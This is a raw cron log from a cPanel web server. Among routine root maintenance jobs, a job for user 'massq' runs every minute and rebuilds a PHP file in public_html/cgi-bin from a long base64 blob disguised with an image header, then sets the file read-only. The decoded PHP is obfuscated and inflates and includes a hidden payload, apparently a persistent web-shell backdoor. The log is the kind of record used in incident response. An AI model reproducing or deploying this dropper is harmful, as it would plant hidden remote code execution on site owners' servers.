Sep 12 03:19:02 server CROND[29522]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 03:19:02 server CROND[29523]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 03:20:01 server CROND[29931]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 12 03:20:01 server CROND[29932]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep 12 03:20:01 server CROND[29936]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 12 03:20:01 server CROND[29941]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 12 03:20:01 server CROND[29940]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep 12 03:20:01 server CROND[29942]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 03:20:01 server CROND[29939]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 03:20:01 server CROND[29943]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 03:20:01 server CROND[29945]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep 12 03:21:01 server CROND[30825]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 03:21:01 server CROND[30826]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 03:21:01 server CROND[30827]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 03:22:01 server CROND[31295]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 03:22:01 server CROND[31296]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 03:22:01 server CROND[31297]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 03:23:01 server CROND[31673]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 03:23:01 server CROND[31675]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 03:23:01 server CROND[31676]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 03:24:01 server CROND[32043]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 03:24:01 server CROND[32044]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 03:24:01 server CROND[32045]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 03:25:01 server CROND[32434]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 12 03:25:01 server CROND[32436]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep 12 03:25:01 server CROND[32438]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 03:25:01 server CROND[32439]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep 12 03:25:01 server CROND[32440]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 03:25:01 server CROND[32442]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 03:25:01 server CROND[32441]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 12 03:26:01 server CROND[918]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 03:26:01 server CROND[919]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 03:26:01 server CROND[920]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 03:27:01 server CROND[1386]: (mailman) CMD (/usr/local/cpanel/scripts/restartsrv_mailman --status &> /dev/null && /usr/local/cpanel/3rdparty/bin/python2 -S /usr/local/cpanel/3rdparty/mailman/cron/nightly_gzip)
Sep 12 03:27:01 server CROND[1387]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 03:27:01 server CROND[1388]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 03:27:01 server CROND[1389]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep 12 03:27:01 server CROND[1392]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 03:28:01 server CROND[1853]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 03:28:01 server CROND[1854]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 03:28:01 server CROND[1855]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 03:29:01 server CROND[2258]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 03:29:01 server CROND[2259]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 03:29:01 server CROND[2260]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 03:30:01 server CROND[2658]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 12 03:30:01 server CROND[2660]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 12 03:30:01 server CROND[2663]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 03:30:01 server CROND[2664]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep 12 03:30:01 server CROND[2665]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 12 03:30:01 server CROND[2668]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
